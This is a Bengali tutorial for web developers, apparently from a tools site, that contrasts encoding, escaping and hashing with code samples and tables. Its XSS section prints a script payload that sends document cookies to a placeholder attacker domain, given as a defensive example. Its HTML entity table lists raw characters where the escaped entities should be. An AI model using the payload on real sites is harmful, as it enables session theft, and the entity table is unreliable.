সফটওয়্যার প্রকৌশলী এবং ওয়েব ডেভেলপারদের প্রায়শই বিভিন্ন ধরণের ডেটা রূপান্তর করতে হয়: এইচটিটিপি রিকোয়েস্টের জন্য ইউআরএল তৈরি, জেএসওএন ফাইলে ছবি সংরক্ষণ, ব্যবহারকারীর ইনপুট নিরাপদ করা এবং পাসওয়ার্ড হ্যাশ করা।

এত প্রয়োজনীয় হওয়া সত্ত্বেও এনকোডিং (Encoding), এস্কেপিং (Escaping) এবং হ্যাশিং (Hashing)-এর মধ্যে প্রায়শই বিভ্রান্তি দেখা যায়। এই তিনটি ধারণাকে গুলিয়ে ফেলা Cross-Site Scripting (XSS), SQL Injection এবং নিরাপত্তা ত্রুটির অন্যতম প্রধান কারণ।

মূল ধারণাসমূহ

এনকোডিং (উভয়মুখী/Reversible): তথ্য না হারিয়ে নিরাপদ আদান-প্রদানের জন্য ডেটার বাহ্যিক ফরম্যাট পরিবর্তন করা (যেমন Base64, URL percent-encoding)।

এস্কেপিং (প্রাসঙ্গিক): ব্রাউজার বা পার্সারকে নির্দেশ দেওয়া যাতে সে বিশেষ চিহ্নকে কোড হিসেবে রান না করে সাধারণ টেক্সট হিসেবে পড়ে (যেমন HTML entities)।

হ্যাশিং (একমুখী/One-Way): গাণিতিক অ্যালগরিদম যা যেকোনো ডেটাকে একটি নির্দিষ্ট দৈর্ঘ্যের ইউনিক ফিঙ্গারপ্রিন্টে রূপান্তর করে, যা আর কখনোই পূর্বের অবস্থায় ফেরানো যায় না (যেমন SHA-256)।

নিরাপত্তার উদ্দেশ্যে কখনোই এনকোডিং ব্যবহার করবেন না: Base64 কোনো এনক্রিপশন নয়; যেকোনো ব্যক্তি কোনো পাসওয়ার্ড ছাড়াই এটি ডিকোড করতে পারে।

১. ইউআরএল পারসেন্ট-এনকোডিং (URL Percent-Encoding)

RFC 3986 অনুযায়ী ইউআরএল-এ শুধুমাত্র নির্দিষ্ট কিছু US-ASCII অক্ষর ব্যবহার করা যায়। সংরক্ষিত তালিকার বাইরের অক্ষরগুলোকে পারসেন্ট-এনকোডেড ফরম্যাটে (%XX) প্রকাশ করতে হয়, যেখানে XX হলো ওই অক্ষরের হেক্সাডেসিমেল মান।

`encodeURI` বনাম `encodeURIComponent`

জাভাস্ক্রিপ্টে ভুল পদ্ধতি ব্যবহারের ফলে প্রায়শই এপিআই এরর দেখা দেয়:

বৈশিষ্ট্য	`encodeURI`	`encodeURIComponent`
উদ্দেশ্য	প্রটোকল, হোস্ট ও পাথসহ সম্পূর্ণ ইউআরএল	কুয়েরি স্ট্রিংয়ের নির্দিষ্ট প্যারামিটার বা মান
`: / ? # & = +` এস্কেপ করে?	না (ইউআরএল গঠন ঠিক রাখে)	হ্যাঁ (এগুলোকে `%XX` এ বদলে দেয়)
ব্যবহারের ক্ষেত্র	`encodeURI('https://site.com/search?q=a+b')`	`encodeURIComponent('search term & co')`

// Example breakdown
const query = 'developer tools & utilities = free';
console.log(encodeURIComponent(query));
// Output: "developer%20tools%20%26%20utilities%20%3D%20free"

সঠিক রূপান্তরের জন্য আমাদের ইন্টারেক্টিভ URL Encoder & Decoder ব্যবহার করুন।

২. বেস৬৪ এনকোডিং: আসকি স্ট্রিমে বাইনারি ডেটা

Base64 (RFC 4648) কাঁচা বাইনারি ডেটাকে ৬৪টি প্রিন্টযোগ্য আসকি অক্ষরের মাধ্যমে প্রকাশ করে: A–Z, a–z, 0–9, +, এবং / (প্যাডিং হিসেবে ব্যবহৃত হয় =)।

গাণিতিক রূপান্তরের নিয়ম

কম্পিউটার ডেটা প্রসেস করে ৮-বিট বাইটে। বেস৬৪ তিনটি বাইটকে (২৪ বিট) একত্রে নিয়ে ৬ বিটের ৪টি ভাগে বিভক্ত করে ($2^6 = 64$টি সম্ভাব্য মান)।

$$\text{3 Bytes (24 bits)} \longrightarrow \text{4 Base64 Characters (6 bits each)}$$

যেহেতু প্রতি ৩ বাইট তথ্যের জন্য ৪টি ক্যারেক্টার তৈরি হয়, তাই Base64 ফাইলে ৩৩% অতিরিক্ত স্টোরেজ ওভারহেড যুক্ত করে:

$$\text{Encoded Size} \approx \lceil \frac{N}{3} \rceil \times 4 \text{ bytes}$$

// Browser-native Base64 conversions for text
function textToBase64(str) {
  return btoa(unescape(encodeURIComponent(str)));
}

function base64ToText(b64) {
  return decodeURIComponent(escape(atob(b64)));
}

সিএসএস ফাইলে ছোট ছবি ইনলাইন করতে বেস৬৪ আদর্শ। যাচাই করতে আমাদের Base64 Encoder / Decoder দেখুন।

৩. এইচটিএমএল এনটিটি এস্কেপিং: XSS প্রতিরোধ

এইচটিএমএল এস্কেপিং সংরক্ষিত চিহ্নগুলোকে সমতুল্য টেক্সট এনটিটিতে রূপান্তর করে:

ক্যারেক্টার	এইচটিএমএল অর্থ	এস্কেপড এনটিটি
`<`	ট্যাগ শুরুর চিহ্ন	`<`
`>`	ট্যাগ সমাপ্তির চিহ্ন	`>`
`&`	এনটিটি প্রিফিক্স	`&`
`"`	এট্রিবিউট মান নির্দেশক	`"`
`'`	এট্রিবিউট মান নির্দেশক	`'`

এস্কেপিং ছাড়া ব্যবহারকারীর ইনপুট পেজে দেখালে বিপজ্জনক XSS আক্রমণ ঘটতে পারে:

<!-- Vulnerable injection -->
<div>User comment: <script>fetch('https://evil.com?c=' + document.cookie)</script></div>

<!-- Safe escaped rendering -->
<div>User comment: &lt;script&gt;fetch('https://evil.com?c=' + document.cookie)&lt;/script&gt;</div>

আমাদের HTML Entity Encoder / Decoder ব্যবহার করে আপনার আউটপুট যাচাই করুন।

৪. ক্রিপ্টোগ্রাফিক হ্যাশিং: একমুখী সিকিউর চেকমার্ক

এনকোডিংয়ের মতো হ্যাশিং কখনোই বিপরীতযোগ্য নয়। একটি নির্ভরযোগ্য ক্রিপ্টোগ্রাফিক হ্যাশ ফাংশনে চারটি বৈশিষ্ট্য থাকা আবশ্যক: ১. প্রাক-প্রতিচ্ছবি প্রতিরোধ (Pre-image Resistance): কোনো হ্যাশ $h$ জানা থাকলে তার মূল তথ্য $m$ বের করা অসম্ভব হতে হবে। ২. দ্বিতীয় প্রাক-প্রতিচ্ছবি প্রতিরোধ: একটি ইনপুট $m_1$ এর সমান হ্যাশ যুক্ত অন্য কোনো $m_2$ খুঁজে পাওয়া অসম্ভব হতে হবে। ৩. সংঘর্ষ প্রতিরোধ (Collision Resistance): দুটি সম্পূর্ণ ভিন্ন ইনপুট $x \neq y$ এর একই হ্যাশ পাওয়া অসম্ভব হতে হবে। ৪. অ্যাভাল্যাঞ্চ প্রভাব (Avalanche Effect): ইনপুটের মাত্র একটি বিট পরিবর্তিত হলেও সম্পূর্ণ হ্যাশ আউটপুট নাটকীয়ভাবে বদলে যাবে।

অ্যালগরিদমের তুলনামূলক চিত্র

অ্যালগরিদম	সাইজ	নিরাপত্তা অবস্থা	ব্যবহারের সুপারিশ
MD5	128 বিট (32 hex)	অনিরাপদ (কয়েক সেকেন্ডে ক্র্যাক)	কেবল সাধারণ ফাইল ভেরিফিকেশনে
SHA-1	160 বিট (40 hex)	অনিরাপদ (২০১৭ সালে ক্র্যাক)	সম্পূর্ণ বাতিল; SHA-256 ব্যবহার্য
SHA-256	256 বিট (64 hex)	সম্পূর্ণ নিরাপদ	টিএলএস সার্টিফিকেট ও এপিআই-এর বৈশ্বিক মান
SHA-512	512 বিট (128 hex)	সম্পূর্ণ নিরাপদ	উচ্চ নিরাপত্তা এবং এইচম্যাক সিস্টেম

সুরক্ষিত টোকেনের জন্য আমাদের UUID Generator এবং Password Generator ব্যবহার করুন।

সারসংক্ষেপ: কোন কাজের জন্য কোনটি বেছে নেবেন?

ইউআরএল কুয়েরিতে টেক্সট পাঠাতে: URL percent-encoding ব্যবহার করুন।
টেক্সট ফাইলে বাইনারি ডেটা রাখতে: Base64 ব্যবহার করুন।
ওয়েব পেজে ব্যবহারকারীর ইনপুট দেখাতে: HTML escaping করুন।
ফাইলের বিশুদ্ধতা বা পাসওয়ার্ড রূপান্তরে: Cryptographic hashing বেছে নিন।

প্রায়শই জিজ্ঞাসিত প্রশ্নাবলী

Base64 কি ডিক্রিপ্ট করা যায়? বেস৬৪ কোনো এনক্রিপশন নয়, একটি সার্বজনীন এনকোডিং ফরম্যাট। যে কেউ যেকোনো টুল দিয়ে কোনো চাবি ছাড়াই মূল ডেটা উদ্ধার করতে পারে।

পাসওয়ার্ড সংরক্ষণে কি একা SHA-256 যথেষ্ট? না। আধুনিক জিপিইউ সেকেন্ডে কোটি কোটি SHA-256 হ্যাশ বের করতে পারে। পাসওয়ার্ড সুরক্ষায় Argon2id বা bcrypt-এর মতো মেমরি-নির্ভর ধীরগতির অ্যালগরিদম প্রয়োজন।

ইউআরএল এনকোডিংয়ে স্পেসের বদলে কখনো %20 আবার কখনো + দেখা যায় কেন? RFC 3986 এর স্ট্যান্ডার্ড পাথে স্পেসকে %20 লেখা হয়, তবে ফর্ম ডাটা সাবমিশনের (application/x-www-form-urlencoded) ক্ষেত্রে স্পেসকে ঐতিহ্যগতভাবে + লেখা হতো।